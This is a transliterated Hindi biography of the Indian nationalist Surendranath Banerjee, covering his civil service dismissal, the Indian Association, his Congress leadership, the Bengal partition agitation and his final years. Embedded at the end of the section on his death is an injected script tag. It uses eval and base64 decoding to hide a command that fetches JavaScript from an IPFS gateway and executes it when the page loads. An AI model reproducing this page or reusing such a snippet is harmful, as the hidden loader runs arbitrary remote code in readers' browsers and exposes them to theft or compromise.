सुरेन्द्रनाथ बनर्जी
surendranath banarji ka janm 10 navambar, 1848 ee. mean kalakatta ke brahman parivar mean hua tha. inaki mrityu 6 agast, 1925 ee. mean kalakatta ke nikat bairakapur mean huee. ye bharatiy rashtriy kaangres ke sansthapakoan mean se ek aur parti ke sammanit neta the.
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jatiy bhed-bhav
surendranath banarji ne snatak hone ke bad indiyan sivil sarvis (bharatiy prashasanik seva) mean pravesh ke lie ianglaind mean avedan kiya. us samay is seva mean sirf ek hindoo tha. bainarji ko is adhar par shamil nahian kiya gaya ki unhoanne apani ayu galat bataee thi. jatiy adhar par bhed-bhav kiye jane ka arop lagate hue bainarji ne apani apil mean yah tark prastut kiya ki hindoo riti ke anusar unhoanne apani ayu garbhadharan ke samay se jo di thi, n ki janm ke samay se aur vah jit ge.
banarji ko silahat (ab baangladesh) mean niyukt kiya gaya, lekin kriyanvayan sambandhi aniyamitataoan ke arop mean unhean 1874 mean bhari vivad tatha virodh ke bich hata diya gaya. unhoanne tab bairistar ke roop mean apana nam darz karane ka prayas kiya, kintu usake lie unhean anumati dene se inakar kar diya gaya, kyoanki ve iandiyan sivil sarvis (bharatiy prashasanik seva) se barkhast kiye gaye the. unake lie yah ek qarari chot thi aur unhoanne mahasoos kiya ki ek bharatiy hone ke nate unhean yah sab bhugatana p d raha hai.
iandiyan esosiyeshan ki sthapana
bairistar banane mean viphal rahane ke bad 1875 ee. mean bharat lautane par ve profesar ho gaye; pahale metropalitan ianstityoot mean (jo ki ab vidyasagar kalej kahalata hai) aur bad mean ripan kalej (jo ki ab surendranath kalej kahalata hai) mean, jisaki sthapana unhoanne ki thi. adhyapak ke roop mean unhoanne apane chhatroan ko deshabhakti aur sarvajanik seva ki bhavana se anupranit kiya. mejini ke jivan aur bharatiy ekata sadrish vishayoan par unake bhashanoan ne chhatroan mean bahut utsah paida kiya. rajaniti mean bhi bhag lete rahe aur 1876 mean iandiyan esosiyeshan ki sthapana tatha 1883 mean kalakatta mean pratham akhil bharatiy rashtriy sammelan ayojit karane mean pramukh yogadan diya.
rashtriy ekata ka prayas
akhil bharatiy rashtriy sammelan ek rashtriy sangathan ki sthapana ki disha mean yah pahala prayas tha. 1885 ee. mean bharatiy rashtriy kaangres (iandiyan neshanal kaangres) ki sthapana ke bad unhoanne akhil bharatiy rashtriy sammelan (al iandiya neshanal kafreans) ka usamean vilay karane mean pramukh bhag liya aur usake bad se unaki ginati kaangres ke pramukh netaoan mean hone lagi. unhoanne bharatiy rashtriy kaangres ke 1895 mean poona mean hue gyarahavean adhiveshan aur 1902 mean ahamadabad mean hue atharahavean adhiveshan ki adhyakshata ki. unhoanne deshavyapi bhraman kar b di-b di sabhaoan mean bhashan karate hue rashtriy ekata ki avashyakata aur desh ke prashasan mean bharatiyoan ko adhik janamat ko jagrat karane mean bahumooly yogadan diya. unhoanne 1878 ee. ke varnakyoolar pres ekt ke virodh ka netritv kiya aur ilbart bil ke samarthan mean pramukh bhag liya.
bangal vibhajan
bangal lejisletiv kauansil ke 1893 se 1913 tak ve sadasy rahe aur b de sahas ke sath lard karzan ke kalakatta karporeshan ekt ka virodh kiya, jisaka uddeshy karporeshan ka sarakarikaran tha. ukt qanoon pas ho jane par unhoanne karporeshan mean bhag lene se inakar kar diya. unhoanne bangal ke vibhajan ka bhi ghor virodh kiya aur usake virodh mean zabardast aandolan chalaya, jisase ve bangal ke nirvivad roop se neta man liye gaye. ve bangal ke bina taz ke badashah kahalane lage. bangal ka vibhajan 1911 mean radd kar diya gaya, jo surendranath ki ek bahut b di jit thi. lekin is samay tak deshavasiyoan mean ek naya varg paida ho gaya tha, jisaka vichar tha ki bharatiy rashtriy kaangres ke vaidhanik aandolan viphal siddh hue aur bharat mean svarajy prapti ke lie aur prabhavapoorn niti apanaee jani chahie.
siddhantavadi vyakti
naya varg, jo garam dal kahalata tha, hiantatmak tariqe apanane se nahian darata tha, usase chahe kranti hi kyoan n ho jaye. lekin surendranath banarji ka, jinaki shiksha-diksha atharahavian shatabdi ke aangrez sahity, visheshakar bark ke siddhantoan par huee thi, kranti athava krantikari tariqoan mean koee vishvas nahian tha aur ve bharat tatha ianglaiand ke bich poorn alagav ki bat soch bhi nahian sakate the. is prakar surendranath banarji ko, jinhean kabhi aangrez prashasak garam vicharoan ka ugravadi vyakti manate the, ab svayan unake deshavasi naram dal ka vyaktitv manane lage the. soorat kaangres (1907) ke bad ve kaangres par garam dalavaloan ka qabza hone se rokane mean saphal rahe the. kintu isake bad shighr hi kaangres garam dal valoan ke niyantran mean chali gee. isaka parinam yah hua ki mantegyoo chemsaford riport ke adhar par jab 1919 ka gavarnameant aauf iandiya ekt pas hua to surendranath banarji ne use is adhar par svikar kar liya ki kaangres apane arambhik dinoan mean jo maang kar rahi thi, vah is ekt se bahut had tak poori ho gee hai, lekin svayan kaangres ne use asvikar kar diya.
kaangres se sambandh vichchhed
is prakar bharatiy rashtriy kaangres se surendranath banarji ka sambandh vichchhed ho gaya. unhoanne kaangres ke any purane netaoan ke sath libaral fedareshan ki sthapana ki jo adhik jan samarthan prapt nahian kar saka. phir bhi surendranath banarji nee bangal lejisletiv kauansil ke sadasy nirvachit ho gaye. 1921 ee. mean kalakatta myunisipal bil ko vidhanamandal se pas karaya, jisase lard karzan dvara banaya gaya poorvavarti qanoon nirast ho gaya aur kalakatta karporeshan par poorn roop se lokapriy niyantran sthapit ho gaya.
bharatiy rashtriyata ke nirmata
bharatiy rashtriy aandolan jisaki 1876 ee. mean surendranath banarji ne shurooat ki thi, is samay tak bahut vikasit ho gaya tha aur desh ke lie qanoon banane tatha desh ke prashasan mean adhik hissa diye jane ki jin maangoan ke lie surendranath banarji ne pachas varshoan se bhi adhik samay tak sangharsh kiya tha, un maangoan ki poorti se ab deshavasi santusht nahian the. ve ab svadhinata ki maang kar rahe the, jo surendranath ki klapana se pare thi. unaki mrityu jis samay huee us samay unaki ginati desh ke lokapriy netaoan mean nahian hoti thi, kintu isamean sandeh nahian ki ve adhunik bharatiy rashtriyata ke nirmataoan mean se the, jisaki svadhin bharat ek den hai.
mrityu
surendranath banarji 1920 ee. mean shuroo kiye gaye asahayog aandolan se sahamat nahian the. phalat: sthaniy svashasan ke kshetr mean unaki mahatvapoorn qanooni upalabdhiyoan ke bavajood unhean pahale ki bhaanti deshavasiyoan ka samarthan nahian mil saka. ve 1923 ke chunav mean har gaye aur taduparant 1925 mean apani mrityu paryant sarvajanik jivan se pray: alag rahe. <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
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tika tippani aur sandarbh
(pustak 'bharatiy itihas kash') prishth sankhya-268